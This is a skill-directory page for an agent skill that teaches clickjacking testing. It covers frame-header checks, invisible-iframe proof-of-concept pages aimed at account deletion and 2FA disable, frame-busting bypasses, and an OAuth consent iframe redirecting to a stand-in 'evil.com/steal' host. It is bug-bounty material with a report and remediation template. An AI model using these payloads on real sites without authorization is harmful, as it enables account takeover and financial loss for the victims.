clickjacking-hunter
Skill37 starsChanged 5 months agoMITView on GitHub
Complete clickjacking (UI redressing) methodology framing protection detection, single-click and multi-step PoC construction, JS frame-busting bypass, drag-and-drop and OAuth consent variants, and report structure. Trigger when the user asks to test for clickjacking or UI redressing, wants to check if a sensitive endpoint (account delete, 2FA disable, OAuth consent) is frameable, needs to build a clickjacking PoC for a report, or wants to bypass JavaScript frame-busting protections.
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The file
We split this skill into the rules it gives an agent
7 rules. About 0 are common, 5 are distinctive, and 2 are very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈5
Distinctive · estimate
This author's own choices. Worth a look.
2
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Very specific: line 52
If found → weak protection, bypassable with sandbox attribute (see Phase 4).
- Distinctive: line 63
Before building a full PoC, confirm the page actually loads in an iframe:
- Distinctive: line 138
Use the opacity slider to visually align the decoy button with the target button for the report screenshot.
- Distinctive: line 206
If JS frame-busting is detected (Phase 1.3), use these bypasses:
- Very specific: line 219
If the target checks top !== self but not the grandparent:
- Distinctive: line 240
Always test these endpoints first — highest impact:
- Distinctive: line 259
If the target has a drag-and-drop file upload or sortable element, trick the user into dragging instead of clicking:
≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Clickjacking Hunter
Clickjacking (UI redressing) tricks a victim into clicking elements on a hidden target page by overlaying invisible iframes on top of decoy content. Impact ranges from account deletion and fund transfer to OAuth authorization and 2FA disable — any one-click sensitive action is a candidate.
Phase 1 — Check Framing Protections
1.1 Header check (fast)
curl -sI https://target.com/account/settings | grep -i "x-frame-options\|content-security-policy"What you're looking for:
| Header | Value | Protection |
X-Frame-Options | DENY | Blocks all framing |
X-Frame-Options | SAMEORIGIN | Same origin only |
X-Frame-Options | ALLOW-FROM uri | Deprecated, ignored by modern browsers |
X-Frame-Options | missing | Vulnerable |
Content-Security-Policy | frame-ancestors 'none' | Blocks all framing (supersedes XFO) |
Content-Security-Policy | frame-ancestors 'self' | Same origin only |
Content-Security-Policy | missing frame-ancestors | XFO governs, or no protection |
CSP frame-ancestors takes precedence over X-Frame-Options in modern browsers. Having only XFO is still accepted but weaker.
1.2 Scan multiple sensitive endpoints
for path in / /account/settings /account/delete /transfer /change-password /change-email /admin/dashboard /oauth/authorize /2fa/disable; do
echo -n "$path: "
h=$(curl -sI "https://target.com$path")
xfo=$(echo "$h" | grep -i "x-frame-options" | tr -d '\r')
csp=$(echo "$h" | grep -i "content-security-policy" | grep -o "frame-ancestors[^;]*" | tr -d '\r')
[ -z "$xfo" ] && [ -z "$csp" ] && echo "NO PROTECTION" || echo "${xfo} | ${csp}"
done1.3 Check for JavaScript frame-busting
curl -s https://target.com/account/settings | grep -i "top.location\|window.top\|parent.frames\|top !== self"If found → weak protection, bypassable with sandbox attribute (see Phase 4).
1.4 Automated scan
python scripts/clickjacking_agent.py https://target.com /account/settings /account/delete /transferPhase 2 — Confirm Embedding
Before building a full PoC, confirm the page actually loads in an iframe:
<!-- Save as /tmp/frame-test.html and serve with: python3 -m http.server 8888 -->
<html>
<body>
<p>If the target loads below — vulnerable. If blank or console error — protected.</p>
<iframe src="https://target.com/account/settings" width="900" height="700" style="border:2px solid red;"></iframe>
</body>
</html>Open http://localhost:8888/frame-test.html in a browser where you're logged into the target. Check the browser console for Refused to display errors.
Phase 3 — Build the PoC
3.1 Single-click PoC
Position the decoy button exactly over the target's sensitive button. Adjust top/left to align:
<!DOCTYPE html>
<html>
<head>
<title>You've been selected!</title>
<style>
#target-frame {
position: absolute;
top: 0; left: 0;
width: 100%; height: 100%;
opacity: 0.0001; /* invisible */
z-index: 2;
border: none;
}
#decoy {
position: absolute;
top: 0; left: 0;
width: 100%; height: 100%;
z-index: 1;
background: #fff;
text-align: center;
}
#bait {
position: absolute;
top: 350px; /* align with target's sensitive button */
left: 400px;
padding: 15px 30px;
background: #4CAF50;
color: #fff;
font-size: 18px;
border: none;
cursor: pointer;
border-radius: 4px;
}
/* Opacity slider — for screenshot evidence set to 0.5 */
#ctrl { position: fixed; bottom: 10px; left: 10px; z-index: 10; background: #333; color: #fff; padding: 8px; border-radius: 4px; }
</style>
</head>
<body>
<div id="decoy">
<h2 style="margin-top:120px;">Congratulations! You've been selected.</h2>
<p>Click below to claim your reward.</p>
<button id="bait">CLAIM REWARD</button>
</div>
<iframe id="target-frame" src="https://target.com/account/delete" scrolling="no"></iframe>
<div id="ctrl">
Opacity: <input type="range" min="0" max="100" value="0"
oninput="document.getElementById('target-frame').style.opacity = this.value/100">
</div>
</body>
</html>Use the opacity slider to visually align the decoy button with the target button for the report screenshot.
3.2 Multi-step PoC
For actions requiring multiple clicks (e.g. Settings → Disable 2FA → Confirm):
<!DOCTYPE html>
<html>
<head>
<title>Complete Survey</title>
<style>
#target-frame {
position: absolute;
top: 0; left: 0;
width: 100%; height: 100%;
opacity: 0.0001;
z-index: 2;
border: none;
}
.step { display: none; text-align: center; margin-top: 180px; }
.step.active { display: block; }
.btn {
position: absolute;
padding: 14px 36px;
font-size: 17px;
background: #2196F3;
color: #fff;
border: none;
cursor: pointer;
}
</style>
</head>
<body>
<!-- Step 1: aligns with "Settings" link -->
<div class="step active" id="s1">
<h2>Step 1 of 3: Pick your reward tier</h2>
<button class="btn" style="top:200px; left:300px;" onclick="go(2)">Gold</button>
</div>
<!-- Step 2: aligns with "Disable 2FA" button -->
<div class="step" id="s2">
<h2>Step 2 of 3: Confirm selection</h2>
<button class="btn" style="top:350px; left:400px;" onclick="go(3)">Confirm</button>
</div>
<!-- Step 3: aligns with confirmation dialog "Yes, disable" -->
<div class="step" id="s3">
<h2>Step 3 of 3: Claim reward!</h2>
<button class="btn" style="top:400px; left:420px;">Claim Now</button>
</div>
<iframe id="target-frame" src="https://target.com/account/security"></iframe>
<script>
function go(n) {
document.querySelector('.step.active').classList.remove('active');
document.getElementById('s' + n).classList.add('active');
// change iframe src if the action moves to a different page
// document.getElementById('target-frame').src = 'https://target.com/...';
}
</script>
</body>
</html>Phase 4 — Frame-Busting Bypass
If JS frame-busting is detected (Phase 1.3), use these bypasses:
sandbox attribute (most reliable)
<!-- sandbox without allow-top-navigation blocks JS navigation attempts -->
<iframe src="https://target.com/settings"
sandbox="allow-scripts allow-forms allow-same-origin"
width="900" height="700">
</iframe>allow-top-navigation is intentionally omitted — this prevents top.location = ... from working.
Double-framing
If the target checks top !== self but not the grandparent:
<!-- outer.html (your page) -->
<iframe src="middle.html"></iframe>
<!-- middle.html (intermediate page you control) -->
<iframe src="https://target.com/settings"></iframe>The target sees top !== self is false relative to the middle frame.
onbeforeunload interception
<script>window.onbeforeunload = () => "";</script>
<iframe src="https://target.com/settings"></iframe>Prevents the frame-busting redirect from completing in some browsers.
Phase 5 — High-Value Targets
Always test these endpoints first — highest impact:
| Target | Attack | Potential impact |
/account/delete | Single-click | Permanent account destruction |
/change-email or /change-password | Single-click | Account takeover |
/2fa/disable | Single or multi-step | Security downgrade → ATO |
/transfer or /checkout | Single-click on pre-filled form | Financial loss |
/oauth/authorize | Single-click | Attacker app authorized to victim's account |
/admin/* | Single-click | Admin action performed as victim |
/settings/connected-apps | Single-click | Malicious app authorized |
OAuth consent clickjacking
The OAuth consent screen is a prime target — victim clicks "Authorize" without knowing it:
<iframe src="https://target.com/oauth/authorize?client_id=ATTACKER_APP&response_type=code&redirect_uri=https://evil.com/steal&scope=read:all"></iframe>Drag-and-drop variant (no click required)
If the target has a drag-and-drop file upload or sortable element, trick the user into dragging instead of clicking:
<!-- Invisible iframe covers the drop zone -->
<iframe src="https://target.com/upload" style="opacity:0.0001; position:absolute; z-index:2;"></iframe>
<!-- Decoy: "drag this file to the box below" -->Phase 6 — Automation
pip install requests
# Check headers + generate PoC for first vulnerable endpoint
python scripts/clickjacking_agent.py https://target.com /account/settings /account/delete /transfer /admin
# PoC saved to clickjacking_poc.html — open in browser while logged into target
python3 -m http.server 8888
# http://localhost:8888/clickjacking_poc.htmlPhase 7 — Report Structure
Title: Clickjacking on [endpoint] allows [account deletion / fund transfer / 2FA disable]
Severity: Medium — High depending on the sensitive action reachable
Affected endpoints: [list of vulnerable paths]
Steps to reproduce:
1. Log in to target.com as the victim
2. Open the PoC page (clickjacking_poc.html) in the same browser
3. Click the decoy button
4. Observe: [sensitive action performed on target.com]
Impact:
- [e.g. "Account deleted with a single click — no re-authentication required"]
- [e.g. "2FA disabled in two clicks — attacker can then take over account via credential stuffing"]
Evidence:
- Screenshot 1: PoC at opacity 0 — victim sees only decoy content
- Screenshot 2: PoC at opacity 0.5 — hidden iframe visible, button alignment confirmed
- Screenshot 3: Sensitive action completed on target after clicking decoy
Remediation:
- Add CSP: frame-ancestors 'none' to all pages (preferred — supersedes XFO)
- Add X-Frame-Options: DENY as fallback for legacy browsers
- Require re-authentication for irreversible actions (delete, transfer, email change)
- Add unpredictable CSRF tokens that expire quickly — limits iframe pre-fill window
- Set SameSite=Strict on session cookies — reduces session availability in cross-origin framesQuick Priority Order
- Account deletion / email change — one click → ATO or permanent loss
- 2FA disable — security downgrade, enables ATO
- OAuth consent screens — grants attacker app access to victim account
- Financial actions (transfer, checkout) — direct financial impact
- Admin actions — high impact if victim is an admin
- Settings changes (notification prefs, connected apps) — lower severity
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